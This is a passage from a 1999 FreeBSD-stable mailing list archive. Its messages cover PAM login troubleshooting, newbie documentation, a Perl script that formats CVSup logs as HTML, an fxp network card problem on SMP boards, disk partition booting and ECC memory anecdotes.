+0200 (CEST) Date: Fri, 8 Oct 1999 15:29:20 +0200 From: Sebastian Soenksen To: Ruslan Ermilov Subject: Re: Authentication & PAM Message-ID: <19991008152920.A51296@planlos.crew-kg.net> Reply-To: soenksen@planlos.hanse.de References: <19991008133950.A47001@planlos.crew-kg.net> <19991008144521.C36664@relay.ucb.crimea.ua> <19991008135103.A47093@planlos.crew-kg.net> <19991008145243.A45340@relay.ucb.crimea.ua> <19991008135919.A47204@planlos.crew-kg.net> <19991008152645.B45340@relay.ucb.crimea.ua> <19991008144433.A50239@planlos.crew-kg.net> <19991008162156.A68284@relay.ucb.crimea.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <19991008162156.A68284@relay.ucb.crimea.ua> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 08, 1999 at 04:21:56PM +0300, Ruslan Ermilov wrote: > Where did you get this pam_ldap? It is not in neither -current nor -stable. > It is possible, that it is buggy. Please try replacing pam_ldap by pam_skey > and check whether it will still let you to log in. I compiled it myself. But - aaah - with pam_skey.so I can't log in. Thanks! :) bye -- Sebastian Soenksen ; http://www.planlos.hanse.de/ ; pgpkey available To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 6:43:49 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gw.caamora.com.au (jonath5.lnk.telstra.net [139.130.41.237]) by hub.freebsd.org (Postfix) with ESMTP id 3AE2C14F31; Fri, 8 Oct 1999 06:43:39 -0700 (PDT) (envelope-from jon@gw.caamora.com.au) Received: (from jon@localhost) by gw.caamora.com.au (8.8.8/8.8.8) id XAA05356; Fri, 8 Oct 1999 23:43:25 +1000 (EST) (envelope-from jon) Message-ID: <19991008234325.A5341@caamora.com.au> Date: Fri, 8 Oct 1999 23:43:25 +1000 From: jonathan michaels To: Mike Pritchard , Michael Lucas Cc: dave@allunix.com, stable@FreeBSD.ORG, doc@FreeBSD.ORG Subject: Re: Roasting Newbies Mail-Followup-To: Mike Pritchard , Michael Lucas , dave@allunix.com, stable@FreeBSD.ORG, doc@FreeBSD.ORG References: <199910071346.NAA19666@web1.aps-services.com> <199910072120.RAA25826@blackhelicopters.org> <19991008053729.C44391@mpp.pro-ns.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: <19991008053729.C44391@mpp.pro-ns.net>; from Mike Pritchard on Fri, Oct 08, 1999 at 05:37:29AM -0500 X-Operating-System: FreeBSD gw.caamora.com.au 2.2.7-RELEASE i386 X-Mood: i'm alive, if it counts Organisation: Caamora, PO Box 144, Rosebery NSW 1445 Australia Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 08, 1999 at 05:37:29AM -0500, Mike Pritchard wrote: > On Thu, Oct 07, 1999 at 05:20:45PM -0400, Michael Lucas wrote: > > IMHO, tensions on the FreeBSD lists are running at their greatest > > level since... oh, I'd say mid-96, when I first subscribed to > > -questions. > > > > If a "FreeBSD newbies info page" will help, then I'm all for it. I > > don't see what sort of "ramifications" it could have, other than to > > (perhaps) reduce some of the stress all around. > > If we add a "newusers" web document, then how about 1 or 2 "newusers" > on-line manual pages as well. I'm thinking something along the lines > of newusers.7 (misc documentation), and newusers.8 (sys admin docs). > We can setup the default install /etc/motd to mention these documents > in the hope that they will be read. And maybe mention them elsewhere > in some of the install documentation, and other places. > > If someone gives me the text, I'll be sure that it gets converted > to our current man page style somehow (either by me, or someone > I con...err, convince to do it :-). I'm sure given quality text, > we can find someone to convert it to docbook format, and I can > probably do that, too, if no one else steps up to do that. see what sue blake has produced and posts regularly, every saterday from memory in, for and the education of how beginners, and where they can find help. it is posted to freebsd-newbies, which sue does a good job moderating. regards jonathan -- =============================================================================== Jonathan Michaels PO Box 144, Rosebery, NSW 1445 Australia =========================================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 8:56:35 1999 Delivered-To: freebsd-stable@freebsd.org Received: from melete.ch.intel.com (melete.ch.intel.com [143.182.246.25]) by hub.freebsd.org (Postfix) with ESMTP id DAA2C14D26 for ; Fri, 8 Oct 1999 08:56:24 -0700 (PDT) (envelope-from jreynold@sedona.ch.intel.com) Received: from sedona.intel.com (sedona.ch.intel.com [143.182.218.21]) by melete.ch.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.7 1999/10/05 18:05:20 spurcell Exp $) with ESMTP id PAA01352 for ; Fri, 8 Oct 1999 15:55:53 GMT Received: from hip186.ch.intel.com (hip186.ch.intel.com [143.182.225.68]) by sedona.intel.com (8.9.1a/8.9.1/d: sendmail.cf,v 1.8 1999/04/16 15:25:49 steved Exp steved $) with ESMTP id IAA05211 for ; Fri, 8 Oct 1999 08:56:17 -0700 (MST) X-Envelope-To: X-Envelope-From: jreynold@sedona.ch.intel.com Received: (from jreynold@localhost) by hip186.ch.intel.com (8.9.1a/8.9.1/d: client.m4,v 1.3 1998/09/29 16:36:11 sedayao Exp sedayao $) id LAA07514; Fri, 8 Oct 1999 11:56:26 -0400 (EDT) From: John Reynolds~ MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14334.5160.352292.773239@hip186.ch.intel.com> Date: Fri, 8 Oct 1999 08:56:24 -0700 (MST) To: stable@freebsd.org Subject: Re: Seeing log messages associated with CVSup updates In-Reply-To: <37FDC033.F3B549A6@newsguy.com> References: <13641.991004@McFlySr.Kurgan.Ru> <199910071621.JAA47057@vashon.polstra.com> <37FDC033.F3B549A6@newsguy.com> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ On Friday, October 8, Daniel C. Sobral wrote: ] > > This script is really cool, but it is still a little bit lacking. If > we could have a link to the diff between the version you have and > the latest version, that would be much better. It seems feasible, > isn't it? > Yes, most of the above seems feasible. There would be a little guesswork and heuristics on the "linking to the diff" part, but the rest is pretty much done by the following. The idea for this script, of course, was gleaned from the original awk script posted by John Polstra yesterday. Use at will, modify to suit your needs :) #!/usr/bin/perl # # Copyright (c) 1999 John C. Reynolds # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions, and the following disclaimer, # without modification, immediately at the beginning of the file. # 2. The name of the author may not be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. # # # Quickie script to reformat CVSup (16) log files into HTML. Links # references to files, deltas, and committers to the CVS web CGI program # and the FreeBSD web site. # # The idea for this program originated from an 'awk' script created by # , with other ideas and patches submitted # by Marcel Moolenaar . # require 'ctime.pl'; $url = 'http://www.freebsd.org/cgi/cvsweb.cgi'; if ($ARGV[0] eq '') { print "Usage: $0 cvsup-log-file > cvsup-log-file.html\n"; exit 1; } # Grab date from file if not coming in from stdin # $date = ''; unless ($ARGV[0] eq '-') { ($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, @junk) = stat ($ARGV[0]); $date = ctime ($mtime); chomp ($date); $date = '(' . $date . ')'; } if (! open (IN, $ARGV[0])) { print (STDERR "Could not open '$ARGV[0]' for reading - $!\n"); exit 2; } while () { if (/Parsing\s+supfile\s+"(.*?)"/) { $file = $1; s#$file#$file#; } if (/(Edit|Checkout)\s+(\S+)/) { $file = $2; ($realfile = $file) =~ s/,v$//; s#$file#$file#; } if (/Add\s+delta\s+(\S+).*?(\S+)\s*$/) { $rev = $1; $committer = $2; s#$rev#$rev#; s#$committer#$committer#; } if (/Updating\s+collection\s+(\S+)/) { $collection = $1; } push (@lines, $_); } close (IN); print "\n\n"; print "CVSup log for '$collection' ${date}\n\n"; print "\n
\n\n";
foreach (@lines) {
    print;
}
print "
\n\n\n\n"; -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= | John Reynolds CEG, CCE, Next Generation Flows, HLA | | Intel Corporation MS: CH6-210 Phone: 480-554-9092 pgr: 868-6512 | | jreynold@sedona.ch.intel.com http://www-aec.ch.intel.com/~jreynold/ | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 9:21:59 1999 Delivered-To: freebsd-stable@freebsd.org Received: from bomber.avantgo.com (ws1.avantgo.com [207.214.200.194]) by hub.freebsd.org (Postfix) with ESMTP id 4389114FC2; Fri, 8 Oct 1999 09:21:53 -0700 (PDT) (envelope-from sa-list@avantgo.com) Received: from avantgo.com ([10.0.128.109]) by bomber.avantgo.com (Netscape Messaging Server 3.5) with ESMTP id 110; Fri, 8 Oct 1999 09:16:38 -0700 Message-ID: <37FE1A5C.9170A987@avantgo.com> Date: Fri, 08 Oct 1999 09:22:52 -0700 From: Stevan Arychuk Reply-To: sa-list@avantgo.com Organization: AvantGo Inc. X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: dg@root.com Cc: FreeBSD-hackers@FreeBSD.ORG, FreeBSD-stable@FreeBSD.ORG Subject: Re: SMP + fxp0 wierdness References: <199910080454.VAA06681@implode.root.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks for your response David. Do you think the problem is isolated to just the onboard devices? Would a PCI NIC help or is it the entire N440BX board? Regards, Stevan Arychuk AvantGo Inc. stevan@avantgo.com David Greenman wrote: > > >We're running 3.3-REL on dual processor PII-450's, with a N440BX > >motherboard, using the onboard EtherExpress Pro (fxp) NIC and 512MB RAM. > > > >These machines are running custom software that excercises the disk, CPU > >and network quite heavily. The SMP machines seem to have both "fxp0: > >device timeout" problems, and spontaneous reboots. We were uable to get > >a working savecore until now, and have traced the reboots back to the > >fxp driver as well. Here are the debug outputs, and any custom changes > >to our kernel config. > > > >Could this be a problem with SMP + fxp combination? Any other thoughts > >or ideas? > > > >We've serached, and read, and searched all the FAQ's for both of these > >problems, and have pretty well come up empty. Suggestions for the next > >course of action? > > > >Thanks in advance for anyones help. > > There is some kind of hardware problem with the Intel N440BX motherboard > that is causing memory corruption during the DMA. This is the third nearly > identical report I've gotten about it. It does not appear to be a FreeBSD > bug and so far only occurs when using the N440BX. You might try messing with > the BIOS options and see if changing any of the DMA related settings will > make the problem go away...I'd be very interested in the results. > > -DG > > David Greenman > Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org > Creator of high-performance Internet servers - http://www.terasolutions.com > Pave the road of life with opportunities. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 9:58: 5 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mercury.gfit.net (ns.gfit.net [209.41.124.90]) by hub.freebsd.org (Postfix) with ESMTP id D15D7155F0 for ; Fri, 8 Oct 1999 09:57:56 -0700 (PDT) (envelope-from tom@embt.com) Received: from paranor.embt.net (timembt.iinc.com [206.67.169.229]) by mercury.gfit.net (8.8.8/8.8.8) with SMTP id MAA01991; Fri, 8 Oct 1999 12:01:58 -0500 (CDT) (envelope-from tom@embt.com) Message-Id: <3.0.3.32.19991008125733.00aba304@mail.embt.com> X-Sender: tembt@mail.embt.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Fri, 08 Oct 1999 12:57:33 -0400 To: "Daniel C. Sobral" From: Tom Embt Subject: Re: disk partitions Cc: freebsd-stable@freebsd.org In-Reply-To: <37FDBE61.EA936575@newsguy.com> References: <199910052325.QAA01404@chad.anasazi.com> <3.0.3.32.19991007114127.009aeca0@mail.embt.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 06:50 PM 10/8/99 +0900, you wrote: >Tom Embt wrote: >> >> If ever there was such a requirement, it is no longer applicable. Some >> (all?) off the various incantations of Windows need to boot < 1024 cyl >> boundary (usually 8 GB), but they are happy in any slice. IIRC, they do >> have problems booting to anything other than primary master for IDE. > >There *is* a limitation. Windows will only boot from a primary >partition. I never said otherwise[1], but you are correct. ..something that I've stopped thinking of as a limitation bur rather a M$ fact of life :( I've noticed the BSL documentation claims to be able to boot from extended partitions if the OS supports it. Does anyone know if this means Windows can indeed be tricked into doing this? If not, I must wonder what OS's _do_ support such a thing. I don't have the $$ to get a full version of it to play with. note 1: Actually I guess it depends on one's exact interpretation of my words. A more correct statement might have been: "The windows boot partition can be any of the four slices, and that slice may be in any location on the disk excepting BIOS limitations (8 GB limit)." My thinking is that booting from an extended partition (which Windows can't do anyway) does not constitute booting from a slice, but instead from a small subset ("logical drive") of a slice, and therefore that slice cannot be defined as _the_ Windows boot slice. However you look at it, it's just nitpicking as it seems clear that both you and I know what we're talking about. Oh bother, I've written too much. And it seems this isn't really applicable to -stable anyway. Darn. Tom Embt tom@embt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 10: 6:49 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gluttony.peregrine.com (nat45.peregrine.com [204.33.95.183]) by hub.freebsd.org (Postfix) with ESMTP id 4571D14BD2 for ; Fri, 8 Oct 1999 10:06:44 -0700 (PDT) (envelope-from erich@peregrine.com) Received: from peregrine.com (gluttony.peregrine.com [172.18.2.42]) by gluttony.peregrine.com (8.9.3/8.9.3) with ESMTP id KAA03004; Fri, 8 Oct 1999 10:03:19 -0700 (PDT) (envelope-from erich@peregrine.com) Message-ID: <37FE23D7.7B7082DC@peregrine.com> Date: Fri, 08 Oct 1999 10:03:19 -0700 From: Eric Hedstrom X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Tom Embt Cc: "Daniel C. Sobral" , freebsd-stable@FreeBSD.ORG Subject: Re: disk partitions References: <199910052325.QAA01404@chad.anasazi.com> <3.0.3.32.19991007114127.009aeca0@mail.embt.com> <3.0.3.32.19991008125733.00aba304@mail.embt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Tom Embt wrote: > > At 06:50 PM 10/8/99 +0900, you wrote: > >Tom Embt wrote: > >> > >> If ever there was such a requirement, it is no longer applicable. Some > >> (all?) off the various incantations of Windows need to boot < 1024 cyl > >> boundary (usually 8 GB), but they are happy in any slice. IIRC, they do > >> have problems booting to anything other than primary master for IDE. > > > >There *is* a limitation. Windows will only boot from a primary > >partition. > > I never said otherwise[1], but you are correct. ..something that I've > stopped thinking of as a limitation bur rather a M$ fact of life :( > > I've noticed the BSL documentation claims to be able to boot from extended > partitions if the OS supports it. Does anyone know if this means Windows > can indeed be tricked into doing this? If not, I must wonder what OS's > _do_ support such a thing. I don't have the $$ to get a full version of it > to play with. Linux, os/2, and windows NT will boot off extended partitions, for what it's worth. Eric Hedstrom erich@peregrine.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 10:13: 7 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 7432914BD2; Fri, 8 Oct 1999 10:13:01 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id KAA49036; Fri, 8 Oct 1999 10:11:47 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199910081711.KAA49036@gndrsh.dnsmgr.net> Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... In-Reply-To: <199910080934.CAA07195@implode.root.com> from David Greenman at "Oct 8, 1999 02:34:25 am" To: dg@root.com Date: Fri, 8 Oct 1999 10:11:46 -0700 (PDT) Cc: dwmalone@maths.tcd.ie (David Malone), dillon@apollo.backplane.com (Matthew Dillon), ady@warpnet.ro (Adrian Penisoara), freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >On Thu, Oct 07, 1999 at 10:09:23AM -0700, Matthew Dillon wrote: > > > >> Intel's ECC implementation is not perfect (1), but it's good enough to > >> catch these sorts of problems. > > > >Just as an interesting side note, we had a motherboard which > >supported ECC ram and had ECC ram in it and which was crashing. > >Eventually we discovered that every 8th byte in page aligned 4KB > >chunks was becomming corrupted. > > > >We replaced the ram and saw no improvement, and then got a replacement > >motherboard. As far as I could see the only significant difference > >between the new and old motherboard was the addition of a heat sink > >to the memory controler chip. The machine is now perfectly happy. > > > >So it seems that ECC isn't enough if your memory controler is too > >hot! > > ECC doesn't protect against certain types of motherboard address line > errors (since although the ECC is correct, the selected address is wrong, so > thus the data is wrong). There's parity protection on parts of the CPU > address bus, but I don't believe there is any protection between the memory > controller and the DIMMs for this type of problem. A handful of metal > filings is also known to cause problems when it is dispersed properly. :-) Your suppose to remove the motherboard before drilling holes in your chassis!!! :-). And be careful when you strip them there screws out, that little bit of metal filings is enough to through one for some real loops. A good blast of 60psi dry air does wonders for ``fixing'' some of these really strange problems :-) Now if I could just find something that would get sheet rock sanding dust out of tape drive mechanisms, a dunk in the freon tank often works, but that also cleans out all the lubrication :-). -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 11:28:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id CF81A14A25; Fri, 8 Oct 1999 11:28:20 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA03945; Fri, 8 Oct 1999 11:28:18 -0700 (PDT) (envelope-from dillon) Date: Fri, 8 Oct 1999 11:28:18 -0700 (PDT) From: Matthew Dillon Message-Id: <199910081828.LAA03945@apollo.backplane.com> To: "Rodney W. Grimes" Cc: dg@root.com, dwmalone@maths.tcd.ie (David Malone), ady@warpnet.ro (Adrian Penisoara), freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... References: <199910081711.KAA49036@gndrsh.dnsmgr.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> ECC doesn't protect against certain types of motherboard address line :> errors (since although the ECC is correct, the selected address is wrong, so :> thus the data is wrong). There's parity protection on parts of the CPU :> address bus, but I don't believe there is any protection between the memory :> controller and the DIMMs for this type of problem. A handful of metal :> filings is also known to cause problems when it is dispersed properly. :-) : :Your suppose to remove the motherboard before drilling holes in your :chassis!!! :-). And be careful when you strip them there screws out, :that little bit of metal filings is enough to through one for some : :Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net Forget the drilling! Blood conducts electricity... simply *installing* a motherboard in those fraggin sharp-edged sheet metal chassis is enough! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 11:41:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id 3746C152C7; Fri, 8 Oct 1999 11:41:35 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id LAA00799; Fri, 8 Oct 1999 11:33:30 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199910081833.LAA00799@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: sa-list@avantgo.com Cc: dg@root.com, FreeBSD-hackers@FreeBSD.ORG, FreeBSD-stable@FreeBSD.ORG Subject: Re: SMP + fxp0 wierdness In-reply-to: Your message of "Fri, 08 Oct 1999 09:22:52 PDT." <37FE1A5C.9170A987@avantgo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 08 Oct 1999 11:33:30 -0700 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Thanks for your response David. > > Do you think the problem is isolated to just the onboard devices? Would > a PCI NIC help or is it the entire N440BX board? We've seen these symptoms on non-Intel boards. (eg. ASUS P2L, P2B). -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 12:31:32 1999 Delivered-To: freebsd-stable@freebsd.org Received: from idiom.com (idiom.com [216.240.32.1]) by hub.freebsd.org (Postfix) with ESMTP id F1C1414E73 for ; Fri, 8 Oct 1999 12:31:26 -0700 (PDT) (envelope-from muir@idiom.com) Received: (from muir@localhost) by idiom.com (8.9.3/8.9.3) id MAA33278 for freebsd-stable@FreeBSD.ORG; Fri, 8 Oct 1999 12:31:26 -0700 (PDT) Date: Fri, 8 Oct 1999 12:31:26 -0700 (PDT) From: David Muir Sharnoff Message-Id: <199910081931.MAA33278@idiom.com> To: freebsd-stable@FreeBSD.ORG Subject: Re: cannot compile ipfw... Did I miss something? Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Found my own problem. My tree was slightly corrupt. -Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 13: 8:30 1999 Delivered-To: freebsd-stable@freebsd.org Received: from red.juniper.net (red.juniper.net [208.197.169.254]) by hub.freebsd.org (Postfix) with ESMTP id 62020153C0 for ; Fri, 8 Oct 1999 13:08:05 -0700 (PDT) (envelope-from laotzu@juniper.net) Received: from leaf.juniper.net (leaf.juniper.net [208.197.169.211]) by red.juniper.net (8.8.8/8.8.5) with ESMTP id NAA24130; Fri, 8 Oct 1999 13:08:04 -0700 (PDT) Received: (from laotzu@localhost) by leaf.juniper.net (8.9.3/8.9.3) id NAA59275; Fri, 8 Oct 1999 13:08:03 -0700 (PDT) (envelope-from laotzu) Date: Fri, 8 Oct 1999 13:08:03 -0700 From: Chris Parry To: Brad Knowles Cc: Michael Lucas , stable@FreeBSD.ORG Subject: Re: Roasting Newbies Message-ID: <19991008130803.R41817@juniper.net> References: <199910071840.OAA25123@blackhelicopters.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i In-Reply-To: X-Operating-System: FreeBSD leaf.juniper.net 3.2-STABLE FreeBSD 3.2-STABLE Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think all of these are very good ideas. Set out plenty of pointers to self-help and it makes dealing with people that want to learn much easier. I love to say 'man it' or goto freebsd.org and follow the links to 'newbie' or something similar. It also makes sense to keep a few of the lists closed, then the newbie flames are just averted right away. While many people in the FreeBSD community may have an anti-newbie attitude I find it slightly annoying. It was like this when linux was very young in '93, many folks flamed newbies that asked dumb questions, while they rarely replied to any questions that were actually technical at all nor consistently pointed them to self-help, that has changed and I think linux is far better to start people off with, but we should still be reasonable about treating folks curiosities with some respect. My $.02, -chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 17: 8:25 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mail3.svr.pol.co.uk (mail3.svr.pol.co.uk [195.92.193.19]) by hub.freebsd.org (Postfix) with ESMTP id 679FC153BC for ; Fri, 8 Oct 1999 17:08:16 -0700 (PDT) (envelope-from ianjhart@freeloader.freeserve.co.uk) Received: from modem-48.carbon.dialup.pol.co.uk ([62.136.2.176] helo=freeloader.freeserve.co.uk) by mail3.svr.pol.co.uk with esmtp (Exim 2.12 #2) id 11Zk3X-0008NX-00 for stable@freebsd.org; Sat, 9 Oct 1999 01:08:12 +0100 Message-ID: <37FE86B1.948CE7FA@freeloader.freeserve.co.uk> Date: Sat, 09 Oct 1999 01:05:05 +0100 From: Ian J Hart X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 3.3-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: "stable@freebsd.org" Subject: Re: Roasting Newbies References: <199910071840.OAA25123@blackhelicopters.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thought for the day: From little Newbies do mighty Gurus grow. Some positive stuff on the list for a change; about time. What I cannot understand is why anyone is suprised that stable recieves _inappropriate_ mail. If you track stable you are _REQUIRED_ to subscribe to _THIS_ mailing list. (Yes I am shouting, sorry). My understanding of human nature says this is where any questions are going to get posted. Perhaps something (less dry) in the subscription acknowledgement might help. Justin Wolf is right on track. Ask yourself, why is Linux getting such a lot of press? It's reached critical mass in terms of number of users, thats why. FreeBSD can be the best O/S ever, but if people (aka. Newbies) don't use it, it may not survive. If you/we are going to provide basic help for newbies (myself included), it needs to be friendlier than man. HTML or even info would be better (IMHO). It might also be worth aliasing "help". Before you all run away screaming, I'm suggesting that a level of indirection is useful. This week help might mean man newbie. Next week it could mean info newbie, or whatever. Keeping the user inferface the same is _a_good_thing_. A Friday night Saturday morning ian j hart. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 0:32:10 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (Postfix) with ESMTP id F40F91590A for ; Sat, 9 Oct 1999 00:32:04 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id JAA25064; Sat, 9 Oct 1999 09:31:52 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199910090731.JAA25064@gratis.grondar.za> To: soenksen@planlos.hanse.de Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Authentication & PAM Date: Sat, 09 Oct 1999 09:31:51 +0200 From: Mark Murray Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Anybody knows how to change authentication _ONLY_ to PAM? PAM support in STABLE is very incomplete. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 3: 1: 9 1999 Delivered-To: freebsd-stable@freebsd.org Received: from colin.muc.de (colin.muc.de [193.149.48.1]) by hub.freebsd.org (Postfix) with SMTP id 7901C14DF0 for ; Sat, 9 Oct 1999 03:01:03 -0700 (PDT) (envelope-from lutz@muc.de) Received: from tavari.muc.de ([193.149.49.22]) by colin.muc.de with SMTP id <140603-3>; Sat, 9 Oct 1999 12:00:54 +0200 Received: (from uucp@localhost) by tavari.muc.de (8.8.8/8.8.7) id LAA26044; Sat, 9 Oct 1999 11:31:36 +0200 (CEST) Received: from ripley.tavari.muc.de(192.168.42.202) via SMTP by smptd, id smtpdn26042; Sat Oct 9 11:31:31 1999 Date: Sat, 9 Oct 1999 11:31:31 +0200 From: Lutz Albers To: Eric Hedstrom , Tom Embt Cc: "Daniel C. Sobral" 